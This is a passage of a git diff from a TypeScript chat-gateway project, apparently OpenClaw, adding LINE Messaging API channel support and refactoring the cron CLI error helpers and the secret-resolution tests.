DEFAULT_ACCOUNT_ID; + const baseAccounts = + params.accounts && typeof params.accounts === "object" ? { ...params.accounts } : undefined; + if (!baseAccounts || !(accountKey in baseAccounts)) { + return { nextAccounts: baseAccounts, changed: false, cleared: false }; + } + + const entry = baseAccounts[accountKey]; + if (!entry || typeof entry !== "object") { + return { nextAccounts: baseAccounts, changed: false, cleared: false }; + } + + const nextEntry = { ...(entry as Record) }; + const hasAnyField = params.fields.some((field) => field in nextEntry); + if (!hasAnyField) { + return { nextAccounts: baseAccounts, changed: false, cleared: false }; + } + + const isValueSet = params.isValueSet ?? isConfiguredSecretValue; + let cleared = Boolean(params.markClearedOnFieldPresence); + for (const field of params.fields) { + if (!(field in nextEntry)) { + continue; + } + if (isValueSet(nextEntry[field])) { + cleared = true; + } + delete nextEntry[field]; + } + + if (Object.keys(nextEntry).length === 0) { + delete baseAccounts[accountKey]; + } else { + baseAccounts[accountKey] = nextEntry as TAccountEntry; + } + + const nextAccounts = Object.keys(baseAccounts).length > 0 ? baseAccounts : undefined; + return { + nextAccounts, + changed: true, + cleared, + }; +} diff --git a/src/channels/plugins/group-mentions.test.ts b/src/channels/plugins/group-mentions.test.ts index a737808a131..5f8e4ed43e9 100644 --- a/src/channels/plugins/group-mentions.test.ts +++ b/src/channels/plugins/group-mentions.test.ts @@ -4,6 +4,8 @@ import { resolveBlueBubblesGroupToolPolicy, resolveDiscordGroupRequireMention, resolveDiscordGroupToolPolicy, + resolveLineGroupRequireMention, + resolveLineGroupToolPolicy, resolveSlackGroupRequireMention, resolveSlackGroupToolPolicy, resolveTelegramGroupRequireMention, @@ -208,3 +210,68 @@ describe("group mentions (bluebubbles)", () => { }); }); }); + +describe("group mentions (line)", () => { + it("matches raw and prefixed LINE group keys for requireMention and tools", () => { + const lineCfg = { + channels: { + line: { + groups: { + "room:r123": { + requireMention: false, + tools: { allow: ["message.send"] }, + }, + "group:g123": { + requireMention: false, + tools: { deny: ["exec"] }, + }, + "*": { + requireMention: true, + }, + }, + }, + }, + // oxlint-disable-next-line typescript/no-explicit-any + } as any; + + expect(resolveLineGroupRequireMention({ cfg: lineCfg, groupId: "r123" })).toBe(false); + expect(resolveLineGroupRequireMention({ cfg: lineCfg, groupId: "room:r123" })).toBe(false); + expect(resolveLineGroupRequireMention({ cfg: lineCfg, groupId: "g123" })).toBe(false); + expect(resolveLineGroupRequireMention({ cfg: lineCfg, groupId: "group:g123" })).toBe(false); + expect(resolveLineGroupRequireMention({ cfg: lineCfg, groupId: "other" })).toBe(true); + expect(resolveLineGroupToolPolicy({ cfg: lineCfg, groupId: "r123" })).toEqual({ + allow: ["message.send"], + }); + expect(resolveLineGroupToolPolicy({ cfg: lineCfg, groupId: "g123" })).toEqual({ + deny: ["exec"], + }); + }); + + it("uses account-scoped prefixed LINE group config for requireMention", () => { + const lineCfg = { + channels: { + line: { + groups: { + "*": { + requireMention: true, + }, + }, + accounts: { + work: { + groups: { + "group:g123": { + requireMention: false, + }, + }, + }, + }, + }, + }, + // oxlint-disable-next-line typescript/no-explicit-any + } as any; + + expect( + resolveLineGroupRequireMention({ cfg: lineCfg, groupId: "g123", accountId: "work" }), + ).toBe(false); + }); +}); diff --git a/src/channels/plugins/group-mentions.ts b/src/channels/plugins/group-mentions.ts index 551f0d52985..b7f475677c5 100644 --- a/src/channels/plugins/group-mentions.ts +++ b/src/channels/plugins/group-mentions.ts @@ -9,6 +9,7 @@ import type { GroupToolPolicyBySenderConfig, GroupToolPolicyConfig, } from "../../config/types.tools.js"; +import { resolveExactLineGroupConfigKey } from "../../line/group-keys.js"; import { normalizeAtHashSlug, normalizeHyphenSlug } from "../../shared/string-normalization.js"; import { inspectSlackAccount } from "../../slack/account-inspect.js"; import type { ChannelGroupContext } from "./types.js"; @@ -125,7 +126,8 @@ type ChannelGroupPolicyChannel = | "whatsapp" | "imessage" | "googlechat" - | "bluebubbles"; + | "bluebubbles" + | "line"; function resolveSlackChannelPolicyEntry( params: GroupMentionParams, @@ -322,3 +324,34 @@ export function resolveBlueBubblesGroupToolPolicy( ): GroupToolPolicyConfig | undefined { return resolveChannelToolPolicyForSender(params, "bluebubbles"); } + +export function resolveLineGroupRequireMention(params: GroupMentionParams): boolean { + const exactGroupId = resolveExactLineGroupConfigKey({ + cfg: params.cfg, + accountId: params.accountId, + groupId: params.groupId, + }); + if (exactGroupId) { + return resolveChannelGroupRequireMention({ + cfg: params.cfg, + channel: "line", + groupId: exactGroupId, + accountId: params.accountId, + }); + } + return resolveChannelRequireMention(params, "line"); +} + +export function resolveLineGroupToolPolicy( + params: GroupMentionParams, +): GroupToolPolicyConfig | undefined { + const exactGroupId = resolveExactLineGroupConfigKey({ + cfg: params.cfg, + accountId: params.accountId, + groupId: params.groupId, + }); + if (exactGroupId) { + return resolveChannelToolPolicyForSender(params, "line", exactGroupId); + } + return resolveChannelToolPolicyForSender(params, "line"); +} diff --git a/src/channels/plugins/types.core.ts b/src/channels/plugins/types.core.ts index 6cd5173e13b..22f8e458e79 100644 --- a/src/channels/plugins/types.core.ts +++ b/src/channels/plugins/types.core.ts @@ -102,6 +102,7 @@ export type ChannelAccountSnapshot = { linked?: boolean; running?: boolean; connected?: boolean; + restartPending?: boolean; reconnectAttempts?: number; lastConnectedAt?: number | null; lastDisconnect?: diff --git a/src/channels/registry.ts b/src/channels/registry.ts index 958dbf174a3..16ba6514397 100644 --- a/src/channels/registry.ts +++ b/src/channels/registry.ts @@ -13,6 +13,7 @@ export const CHAT_CHANNEL_ORDER = [ "slack", "signal", "imessage", + "line", ] as const; export type ChatChannelId = (typeof CHAT_CHANNEL_ORDER)[number]; @@ -107,6 +108,16 @@ const CHAT_CHANNEL_META: Record = { blurb: "this is still a work in progress.", systemImage: "message.fill", }, + line: { + id: "line", + label: "LINE", + selectionLabel: "LINE (Messaging API)", + detailLabel: "LINE Bot", + docsPath: "/channels/line", + docsLabel: "line", + blurb: "LINE Messaging API webhook bot.", + systemImage: "message", + }, }; export const CHAT_CHANNEL_ALIASES: Record = { diff --git a/src/cli/acp-cli.option-collisions.test.ts b/src/cli/acp-cli.option-collisions.test.ts index 18ba9261744..3fd652f8928 100644 --- a/src/cli/acp-cli.option-collisions.test.ts +++ b/src/cli/acp-cli.option-collisions.test.ts @@ -13,6 +13,8 @@ const defaultRuntime = { exit: vi.fn(), }; +const passwordKey = () => ["pass", "word"].join(""); + vi.mock("../acp/client.js", () => ({ runAcpClientInteractive: (opts: unknown) => runAcpClientInteractive(opts), })); @@ -91,7 +93,8 @@ describe("acp cli option collisions", () => { }); it("loads gateway token/password from files", async () => { - await withSecretFiles({ token: "tok_file\n", password: "pw_file\n" }, async (files) => { + await withSecretFiles({ token: "tok_file\n", [passwordKey()]: "pw_file\n" }, async (files) => { + // pragma: allowlist secret await parseAcp([ "--token-file", files.tokenFile ?? "", @@ -103,7 +106,7 @@ describe("acp cli option collisions", () => { expect(serveAcpGateway).toHaveBeenCalledWith( expect.objectContaining({ gatewayToken: "tok_file", - gatewayPassword: "pw_file", + gatewayPassword: "pw_file", // pragma: allowlist secret }), ); }); @@ -117,7 +120,8 @@ describe("acp cli option collisions", () => { }); it("rejects mixed password flags and file flags", async () => { - await withSecretFiles({ password: "pw_file\n" }, async (files) => { + const passwordFileValue = "pw_file\n"; // pragma: allowlist secret + await withSecretFiles({ password: passwordFileValue }, async (files) => { await parseAcp(["--password", "pw_inline", "--password-file", files.passwordFile ?? ""]); }); diff --git a/src/cli/banner.test.ts b/src/cli/banner.test.ts index 4863bc04551..93e47a750d2 100644 --- a/src/cli/banner.test.ts +++ b/src/cli/banner.test.ts @@ -23,12 +23,12 @@ describe("formatCliBannerLine", () => { cli: { banner: { taglineMode: "off" } }, }); - const line = formatCliBannerLine("2026.3.3", { + const line = formatCliBannerLine("2026.3.7", { commit: "abc1234", richTty: false, }); - expect(line).toBe("🦞 OpenClaw 2026.3.3 (abc1234)"); + expect(line).toBe("🦞 OpenClaw 2026.3.7 (abc1234)"); }); it("uses default tagline when cli.banner.taglineMode is default", () => { @@ -36,12 +36,12 @@ describe("formatCliBannerLine", () => { cli: { banner: { taglineMode: "default" } }, }); - const line = formatCliBannerLine("2026.3.3", { + const line = formatCliBannerLine("2026.3.7", { commit: "abc1234", richTty: false, }); - expect(line).toBe("🦞 OpenClaw 2026.3.3 (abc1234) — All your chats, one OpenClaw."); + expect(line).toBe("🦞 OpenClaw 2026.3.7 (abc1234) — All your chats, one OpenClaw."); }); it("prefers explicit tagline mode over config", () => { @@ -49,12 +49,12 @@ describe("formatCliBannerLine", () => { cli: { banner: { taglineMode: "off" } }, }); - const line = formatCliBannerLine("2026.3.3", { + const line = formatCliBannerLine("2026.3.7", { commit: "abc1234", richTty: false, mode: "default", }); - expect(line).toBe("🦞 OpenClaw 2026.3.3 (abc1234) — All your chats, one OpenClaw."); + expect(line).toBe("🦞 OpenClaw 2026.3.7 (abc1234) — All your chats, one OpenClaw."); }); }); diff --git a/src/cli/command-secret-gateway.test.ts b/src/cli/command-secret-gateway.test.ts index e825be990f7..7e078f45ecf 100644 --- a/src/cli/command-secret-gateway.test.ts +++ b/src/cli/command-secret-gateway.test.ts @@ -10,10 +10,64 @@ vi.mock("../gateway/call.js", () => ({ const { resolveCommandSecretRefsViaGateway } = await import("./command-secret-gateway.js"); describe("resolveCommandSecretRefsViaGateway", () => { + function makeTalkApiKeySecretRefConfig(envKey: string): OpenClawConfig { + return { + talk: { + apiKey: { source: "env", provider: "default", id: envKey }, + }, + } as OpenClawConfig; + } + + async function withEnvValue( + envKey: string, + value: string | undefined, + fn: () => Promise, + ): Promise { + const priorValue = process.env[envKey]; + if (value === undefined) { + delete process.env[envKey]; + } else { + process.env[envKey] = value; + } + try { + await fn(); + } finally { + if (priorValue === undefined) { + delete process.env[envKey]; + } else { + process.env[envKey] = priorValue; + } + } + } + + async function resolveTalkApiKey(params: { + envKey: string; + commandName?: string; + mode?: "strict" | "summary"; + }) { + return resolveCommandSecretRefsViaGateway({ + config: makeTalkApiKeySecretRefConfig(params.envKey), + commandName: params.commandName ?? "memory status", + targetIds: new Set(["talk.apiKey"]), + mode: params.mode, + }); + } + + function expectTalkApiKeySecretRef( + result: Awaited>, + envKey: string, + ) { + expect(result.resolvedConfig.talk?.apiKey).toEqual({ + source: "env", + provider: "default", + id: envKey, + }); + } + it("returns config unchanged when no target SecretRefs are configured", async () => { const config = { talk: { - apiKey: "plain", + apiKey: "plain", // pragma: allowlist secret }, } as OpenClawConfig; const result = await resolveCommandSecretRefsViaGateway({ @@ -117,7 +171,7 @@ describe("resolveCommandSecretRefsViaGateway", () => { it("falls back to local resolution when gateway secrets.resolve is unavailable", async () => { const priorValue = process.env.TALK_API_KEY; - process.env.TALK_API_KEY = "local-fallback-key"; + process.env.TALK_API_KEY = "local-fallback-key"; // pragma: allowlist secret callGateway.mockRejectedValueOnce(new Error("gateway closed")); try { const result = await resolveCommandSecretRefsViaGateway({ @@ -153,58 +207,26 @@ describe("resolveCommandSecretRefsViaGateway", () => { it("returns a version-skew hint when gateway does not support secrets.resolve", async () => { const envKey = "TALK_API_KEY_UNSUPPORTED"; - const priorValue = process.env[envKey]; - delete process.env[envKey]; callGateway.mockRejectedValueOnce(new Error("unknown method: secrets.resolve")); - try { - await expect( - resolveCommandSecretRefsViaGateway({ - config: { - talk: { - apiKey: { source: "env", provider: "default", id: envKey }, - }, - } as OpenClawConfig, - commandName: "memory status", - targetIds: new Set(["talk.apiKey"]), - }), - ).rejects.toThrow(/does not support secrets\.resolve/i); - } finally { - if (priorValue === undefined) { - delete process.env[envKey]; - } else { - process.env[envKey] = priorValue; - } - } + await withEnvValue(envKey, undefined, async () => { + await expect(resolveTalkApiKey({ envKey })).rejects.toThrow( + /does not support secrets\.resolve/i, + ); + }); }); it("returns a version-skew hint when required-method capability check fails", async () => { const envKey = "TALK_API_KEY_REQUIRED_METHOD"; - const priorValue = process.env[envKey]; - delete process.env[envKey]; callGateway.mockRejectedValueOnce( new Error( 'active gateway does not support required method "secrets.resolve" for "secrets.resolve".', ), ); - try { - await expect( - resolveCommandSecretRefsViaGateway({ - config: { - talk: { - apiKey: { source: "env", provider: "default", id: envKey }, - }, - } as OpenClawConfig, - commandName: "memory status", - targetIds: new Set(["talk.apiKey"]), - }), - ).rejects.toThrow(/does not support secrets\.resolve/i); - } finally { - if (priorValue === undefined) { - delete process.env[envKey]; - } else { - process.env[envKey] = priorValue; - } - } + await withEnvValue(envKey, undefined, async () => { + await expect(resolveTalkApiKey({ envKey })).rejects.toThrow( + /does not support secrets\.resolve/i, + ); + }); }); it("fails when gateway returns an invalid secrets.resolve payload", async () => { @@ -276,21 +298,9 @@ describe("resolveCommandSecretRefsViaGateway", () => { ], }); - const result = await resolveCommandSecretRefsViaGateway({ - config: { - talk: { - apiKey: { source: "env", provider: "default", id: "TALK_API_KEY" }, - }, - } as OpenClawConfig, - commandName: "memory status", - targetIds: new Set(["talk.apiKey"]), - }); + const result = await resolveTalkApiKey({ envKey: "TALK_API_KEY" }); - expect(result.resolvedConfig.talk?.apiKey).toEqual({ - source: "env", - provider: "default", - id: "TALK_API_KEY", - }); + expectTalkApiKeySecretRef(result, "TALK_API_KEY"); expect(result.diagnostics).toEqual([ "talk.apiKey: secret ref is configured on an inactive surface; skipping command-time assignment.", ]); @@ -303,21 +313,9 @@ describe("resolveCommandSecretRefsViaGateway", () => { inactiveRefPaths: ["talk.apiKey"], }); - const result = await resolveCommandSecretRefsViaGateway({ - config: { - talk: { - apiKey: { source: "env", provider: "default", id: "TALK_API_KEY" }, - }, - } as OpenClawConfig, - commandName: "memory status", - targetIds: new Set(["talk.apiKey"]), - }); + const result = await resolveTalkApiKey({ envKey: "TALK_API_KEY" }); - expect(result.resolvedConfig.talk?.apiKey).toEqual({ - source: "env", - provider: "default", - id: "TALK_API_KEY", - }); + expectTalkApiKeySecretRef(result, "TALK_API_KEY"); expect(result.diagnostics).toEqual(["talk api key inactive"]); }); @@ -359,25 +357,16 @@ describe("resolveCommandSecretRefsViaGateway", () => { it("degrades unresolved refs in summary mode instead of throwing", async () => { const envKey = "TALK_API_KEY_SUMMARY_MISSING"; - const priorValue = process.env[envKey]; - delete process.env[envKey]; callGateway.mockResolvedValueOnce({ assignments: [], diagnostics: [], }); - - try { - const result = await resolveCommandSecretRefsViaGateway({ - config: { - talk: { - apiKey: { source: "env", provider: "default", id: envKey }, - }, - } as OpenClawConfig, + await withEnvValue(envKey, undefined, async () => { + const result = await resolveTalkApiKey({ + envKey, commandName: "status", - targetIds: new Set(["talk.apiKey"]), mode: "summary", }); - expect(result.resolvedConfig.talk?.apiKey).toBeUndefined(); expect(result.hadUnresolvedTargets).toBe(true); expect(result.targetStatesByPath["talk.apiKey"]).toBe("unresolved"); @@ -386,36 +375,21 @@ describe("resolveCommandSecretRefsViaGateway", () => { entry.includes("talk.apiKey is unavailable in this command path"), ), ).toBe(true); - } finally { - if (priorValue === undefined) { - delete process.env[envKey]; - } else { - process.env[envKey] = priorValue; - } - } + }); }); it("uses targeted local fallback after an incomplete gateway snapshot", async () => { const envKey = "TALK_API_KEY_PARTIAL_GATEWAY"; - const priorValue = process.env[envKey]; - process.env[envKey] = "recovered-locally"; callGateway.mockResolvedValueOnce({ assignments: [], diagnostics: [], }); - - try { - const result = await resolveCommandSecretRefsViaGateway({ - config: { - talk: { - apiKey: { source: "env", provider: "default", id: envKey }, - }, - } as OpenClawConfig, + await withEnvValue(envKey, "recovered-locally", async () => { + const result = await resolveTalkApiKey({ + envKey, commandName: "status", - targetIds: new Set(["talk.apiKey"]), mode: "summary", }); - expect(result.resolvedConfig.talk?.apiKey).toBe("recovered-locally"); expect(result.hadUnresolvedTargets).toBe(false); expect(result.targetStatesByPath["talk.apiKey"]).toBe("resolved_local"); @@ -426,13 +400,7 @@ describe("resolveCommandSecretRefsViaGateway", () => { ), ), ).toBe(true); - } finally { - if (priorValue === undefined) { - delete process.env[envKey]; - } else { - process.env[envKey] = priorValue; - } - } + }); }); it("limits strict local fallback analysis to unresolved gateway paths", async () => { diff --git a/src/cli/command-secret-gateway.ts b/src/cli/command-secret-gateway.ts index dfbb425a49d..b1eb174a512 100644 --- a/src/cli/command-secret-gateway.ts +++ b/src/cli/command-secret-gateway.ts @@ -25,7 +25,7 @@ type ResolveCommandSecretsResult = { hadUnresolvedTargets: boolean; }; -export type CommandSecretResolutionMode = "strict" | "summary" | "operational_readonly"; +export type CommandSecretResolutionMode = "strict" | "summary" | "operational_readonly"; // pragma: allowlist secret export type CommandSecretTargetState = | "resolved_gateway" diff --git a/src/cli/config-cli.test.ts b/src/cli/config-cli.test.ts index d503e6113ef..8ee785df189 100644 --- a/src/cli/config-cli.test.ts +++ b/src/cli/config-cli.test.ts @@ -197,7 +197,7 @@ describe("config cli", () => { baseUrl: "http://127.0.0.1:11434", api: "ollama", models: [], - apiKey: "ollama-local", + apiKey: "ollama-local", // pragma: allowlist secret }); }); }); diff --git a/src/cli/cron-cli/register.cron-add.ts b/src/cli/cron-cli/register.cron-add.ts index 4316ec06c36..05025dc05e6 100644 --- a/src/cli/cron-cli/register.cron-add.ts +++ b/src/cli/cron-cli/register.cron-add.ts @@ -1,6 +1,5 @@ import type { Command } from "commander"; import type { CronJob } from "../../cron/types.js"; -import { danger } from "../../globals.js"; import { sanitizeAgentId } from "../../routing/session-key.js"; import { defaultRuntime } from "../../runtime.js"; import type { GatewayRpcOpts } from "../gateway-rpc.js"; @@ -8,9 +7,11 @@ import { addGatewayClientOptions, callGatewayFromCli } from "../gateway-rpc.js"; import { parsePositiveIntOrUndefined } from "../program/helpers.js"; import { getCronChannelOptions, + handleCronCliError, parseAt, parseCronStaggerMs, parseDurationMs, + printCronJson, printCronList, warnIfCronSchedulerDisabled, } from "./shared.js"; @@ -24,10 +25,9 @@ export function registerCronStatusCommand(cron: Command) { .action(async (opts) => { try { const res = await callGatewayFromCli("cron.status", opts, {}); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -46,14 +46,13 @@ export function registerCronListCommand(cron: Command) { includeDisabled: Boolean(opts.all), }); if (opts.json) { - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); return; } const jobs = (res as { jobs?: CronJob[] } | null)?.jobs ?? []; printCronList(jobs, defaultRuntime); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -273,11 +272,10 @@ export function registerCronAddCommand(cron: Command) { }; const res = await callGatewayFromCli("cron.add", opts, params); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); await warnIfCronSchedulerDisabled(opts); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); diff --git a/src/cli/cron-cli/register.cron-simple.ts b/src/cli/cron-cli/register.cron-simple.ts index b1929b6384e..ae05ff1fa69 100644 --- a/src/cli/cron-cli/register.cron-simple.ts +++ b/src/cli/cron-cli/register.cron-simple.ts @@ -1,8 +1,7 @@ import type { Command } from "commander"; -import { danger } from "../../globals.js"; import { defaultRuntime } from "../../runtime.js"; import { addGatewayClientOptions, callGatewayFromCli } from "../gateway-rpc.js"; -import { warnIfCronSchedulerDisabled } from "./shared.js"; +import { handleCronCliError, printCronJson, warnIfCronSchedulerDisabled } from "./shared.js"; function registerCronToggleCommand(params: { cron: Command; @@ -21,11 +20,10 @@ function registerCronToggleCommand(params: { id, patch: { enabled: params.enabled }, }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); await warnIfCronSchedulerDisabled(opts); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -43,10 +41,9 @@ export function registerCronSimpleCommands(cron: Command) { .action(async (id, opts) => { try { const res = await callGatewayFromCli("cron.remove", opts, { id }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -79,10 +76,9 @@ export function registerCronSimpleCommands(cron: Command) { id, limit, }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); @@ -102,12 +98,11 @@ export function registerCronSimpleCommands(cron: Command) { id, mode: opts.due ? "due" : "force", }); - defaultRuntime.log(JSON.stringify(res, null, 2)); + printCronJson(res); const result = res as { ok?: boolean; ran?: boolean } | undefined; defaultRuntime.exit(result?.ok && result?.ran ? 0 : 1); } catch (err) { - defaultRuntime.error(danger(String(err))); - defaultRuntime.exit(1); + handleCronCliError(err); } }), ); diff --git a/src/cli/cron-cli/shared.ts b/src/cli/cron-cli/shared.ts index 5b9290fe858..d3601b6ce40 100644 --- a/src/cli/cron-cli/shared.ts +++ b/src/cli/cron-cli/shared.ts @@ -2,6 +2,7 @@ import { listChannelPlugins } from "../../channels/plugins/index.js"; import { parseAbsoluteTimeMs } from "../../cron/parse.js"; import { resolveCronStaggerMs } from "../../cron/stagger.js"; import type { CronJob, CronSchedule } from "../../cron/types.js"; +import { danger } from "../../globals.js"; import { formatDurationHuman } from "../../infra/format-time/format-duration.ts"; import { defaultRuntime } from "../../runtime.js"; import { colorize, isRich, theme } from "../../terminal/theme.js"; @@ -11,6 +12,15 @@ import { callGatewayFromCli } from "../gateway-rpc.js"; export const getCronChannelOptions = () => ["last", ...listChannelPlugins().map((plugin) => plugin.id)].join("|"); +export function printCronJson(value: unknown) { + defaultRuntime.log(JSON.stringify(value, null, 2)); +} + +export function handleCronCliError(err: unknown) { + defaultRuntime.error(danger(String(err))); + defaultRuntime.exit(1); +} + export async function warnIfCronSchedulerDisabled(opts: GatewayRpcOpts) { try { const res = (await callGatewayFromCli("cron.status", opts, {})) as { diff --git a/src/cli/daemon-cli/install.integration.test.ts b/src/cli/daemon-cli/install.integration.test.ts index 00d60254605..bd1a00d605d 100644 --- a/src/cli/daemon-cli/install.integration.test.ts +++ b/src/cli/daemon-cli/install.integration.test.ts @@ -72,10 +72,11 @@ describe("runDaemonInstall integration", () => { runtimeLogs.length = 0; runtimeErrors.length = 0; vi.clearAllMocks(); - delete process.env.OPENCLAW_GATEWAY_TOKEN; - delete process.env.CLAWDBOT_GATEWAY_TOKEN; - delete process.env.OPENCLAW_GATEWAY_PASSWORD; - delete process.env.CLAWDBOT_GATEWAY_PASSWORD; + // Keep these defined-but-empty so dotenv won't repopulate from local .env. + process.env.OPENCLAW_GATEWAY_TOKEN = ""; + process.env.CLAWDBOT_GATEWAY_TOKEN = ""; + process.env.OPENCLAW_GATEWAY_PASSWORD = ""; + process.env.CLAWDBOT_GATEWAY_PASSWORD = ""; serviceMock.isLoaded.mockResolvedValue(false); await fs.writeFile(configPath, JSON.stringify({}, null, 2)); clearConfigCache(); diff --git a/src/cli/daemon-cli/register-service-commands.test.ts b/src/cli/daemon-cli/register-service-commands.test.ts index 00e8d9fec9b..cec45d62769 100644 --- a/src/cli/daemon-cli/register-service-commands.test.ts +++ b/src/cli/daemon-cli/register-service-commands.test.ts @@ -64,7 +64,7 @@ describe("addGatewayServiceCommands", () => { expect.objectContaining({ rpc: expect.objectContaining({ token: "tok_status", - password: "pw_status", + password: "pw_status", // pragma: allowlist secret }), }), ); diff --git a/src/cli/daemon-cli/restart-health.test.ts b/src/cli/daemon-cli/restart-health.test.ts index 6e5d42cf19d..88f8aa524c6 100644 --- a/src/cli/daemon-cli/restart-health.test.ts +++ b/src/cli/daemon-cli/restart-health.test.ts @@ -46,6 +46,26 @@ async function inspectUnknownListenerFallback(params: { }); } +async function inspectAmbiguousOwnershipWithProbe( + probeResult: Awaited>, +) { + const service = { + readRuntime: vi.fn(async () => ({ status: "running", pid: 8000 })), + } as unknown as GatewayService; + + inspectPortUsage.mockResolvedValue({ + port: 18789, + status: "busy", + listeners: [{ commandLine: "" }], + hints: [], + }); + classifyPortListener.mockReturnValue("unknown"); + probeGateway.mockResolvedValue(probeResult); + + const { inspectGatewayRestart } = await import("./restart-health.js"); + return inspectGatewayRestart({ service, port: 18789 }); +} + describe("inspectGatewayRestart", () => { beforeEach(() => { inspectPortUsage.mockReset(); @@ -159,25 +179,11 @@ describe("inspectGatewayRestart", () => { }); it("uses a local gateway probe when ownership is ambiguous", async () => { - const service = { - readRuntime: vi.fn(async () => ({ status: "running", pid: 8000 })), - } as unknown as GatewayService; - - inspectPortUsage.mockResolvedValue({ - port: 18789, - status: "busy", - listeners: [{ commandLine: "" }], - hints: [], - }); - classifyPortListener.mockReturnValue("unknown"); - probeGateway.mockResolvedValue({ + const snapshot = await inspectAmbiguousOwnershipWithProbe({ ok: true, close: null, }); - const { inspectGatewayRestart } = await import("./restart-health.js"); - const snapshot = await inspectGatewayRestart({ service, port: 18789 }); - expect(snapshot.healthy).toBe(true); expect(probeGateway).toHaveBeenCalledWith( expect.objectContaining({ url: "ws://127.0.0.1:18789" }), @@ -185,25 +191,11 @@ describe("inspectGatewayRestart", () => { }); it("treats auth-closed probe as healthy gateway reachability", async () => { - const service = { - readRuntime: vi.fn(async () => ({ status: "running", pid: 8000 })), - } as unknown as GatewayService; - - inspectPortUsage.mockResolvedValue({ - port: 18789, - status: "busy", - listeners: [{ commandLine: "" }], - hints: [], - }); - classifyPortListener.mockReturnValue("unknown"); - probeGateway.mockResolvedValue({ + const snapshot = await inspectAmbiguousOwnershipWithProbe({ ok: false, close: { code: 1008, reason: "auth required" }, }); - const { inspectGatewayRestart } = await import("./restart-health.js"); - const snapshot = await inspectGatewayRestart({ service, port: 18789 }); - expect(snapshot.healthy).toBe(true); }); }); diff --git a/src/cli/daemon-cli/status.gather.test.ts b/src/cli/daemon-cli/status.gather.test.ts index fceff73f0e6..d29a6ff163f 100644 --- a/src/cli/daemon-cli/status.gather.test.ts +++ b/src/cli/daemon-cli/status.gather.test.ts @@ -205,7 +205,7 @@ describe("gatherDaemonStatus", () => { }, }, }; - process.env.DAEMON_GATEWAY_PASSWORD = "daemon-secretref-password"; + process.env.DAEMON_GATEWAY_PASSWORD = "daemon-secretref-password"; // pragma: allowlist secret await gatherDaemonStatus({ rpc: {}, @@ -215,7 +215,7 @@ describe("gatherDaemonStatus", () => { expect(callGatewayStatusProbe).toHaveBeenCalledWith( expect.objectContaining({ - password: "daemon-secretref-password", + password: "daemon-secretref-password", // pragma: allowlist secret }), ); }); diff --git a/src/cli/gateway-cli/run-loop.ts b/src/cli/gateway-cli/run-loop.ts index 361817c8cb1..c6b7d5ea21e 100644 --- a/src/cli/gateway-cli/run-loop.ts +++ b/src/cli/gateway-cli/run-loop.ts @@ -75,7 +75,9 @@ export async function runGatewayLoop(params: { `full process restart failed (${respawn.detail ?? "unknown error"}); falling back to in-process restart`, ); } else { - gatewayLog.info("restart mode: in-process restart (OPENCLAW_NO_RESPAWN)"); + gatewayLog.info( + `restart mode: in-process restart (${respawn.detail ?? "OPENCLAW_NO_RESPAWN"})`, + ); } if (hadLock && !(await reacquireLockForInProcessRestart())) { return; diff --git a/src/cli/gateway.sigterm.test.ts b/src/cli/gateway.sigterm.test.ts deleted file mode 100644 index 6a4df1db75f..00000000000 --- a/src/cli/gateway.sigterm.test.ts +++ /dev/null @@ -1,8 +0,0 @@ -import { describe, it } from "vitest"; - -describe("gateway SIGTERM", () => { - it.skip("covered by runGatewayLoop signal tests in src/cli/gateway-cli/run-loop.test.ts", () => { - // Kept as a placeholder to document why the old child-process integration - // case was retired: it duplicated run-loop signal coverage at high runtime cost. - }); -}); diff --git a/src/cli/memory-cli.test.ts b/src/cli/memory-cli.test.ts index b318ae8e62a..2405055adc6 100644 --- a/src/cli/memory-cli.test.ts +++ b/src/cli/memory-cli.test.ts @@ -60,6 +60,8 @@ describe("memory cli", () => { return JSON.parse(String(log.mock.calls[0]?.[0] ?? "null")) as Record; } + const inactiveMemorySecretDiagnostic = "agents.defaults.memorySearch.remote.apiKey inactive"; // pragma: allowlist secret + function expectCliSync(sync: ReturnType) { expect(sync).toHaveBeenCalledWith( expect.objectContaining({ reason: "cli", force: false, progress: expect.any(Function) }), @@ -85,6 +87,25 @@ describe("memory cli", () => { getMemorySearchManager.mockResolvedValueOnce({ manager }); } + function setupMemoryStatusWithInactiveSecretDiagnostics(close: ReturnType) { + resolveCommandSecretRefsViaGateway.mockResolvedValueOnce({ + resolvedConfig: {}, + diagnostics: [inactiveMemorySecretDiagnostic] as string[], + }); + mockManager({ + probeVectorAvailability: vi.fn(async () => true), + status: () => makeMemoryStatus({ workspaceDir: undefined }), + close, + }); + } + + function hasLoggedInactiveSecretDiagnostic(spy: ReturnType) { + return spy.mock.calls.some( + (call: unknown[]) => + typeof call[0] === "string" && call[0].includes(inactiveMemorySecretDiagnostic), + ); + } + async function runMemoryCli(args: string[]) { const program = new Command(); program.name("test"); @@ -92,6 +113,29 @@ describe("memory cli", () => { await program.parseAsync(["memory", ...args], { from: "user" }); } + function captureHelpOutput(command: Command | undefined) { + let output = ""; + const writeSpy = vi.spyOn(process.stdout, "write").mockImplementation((( + chunk: string | Uint8Array, + ) => { + output += String(chunk); + return true; + }) as typeof process.stdout.write); + try { + command?.outputHelp(); + return output; + } finally { + writeSpy.mockRestore(); + } + } + + function getMemoryHelpText() { + const program = new Command(); + registerMemoryCli(program); + const memoryCommand = program.commands.find((command) => command.name() === "memory"); + return captureHelpOutput(memoryCommand); + } + async function withQmdIndexDb(content: string, run: (dbPath: string) => Promise) { const tmpDir = await fs.mkdtemp(path.join(os.tmpdir(), "memory-cli-qmd-index-")); const dbPath = 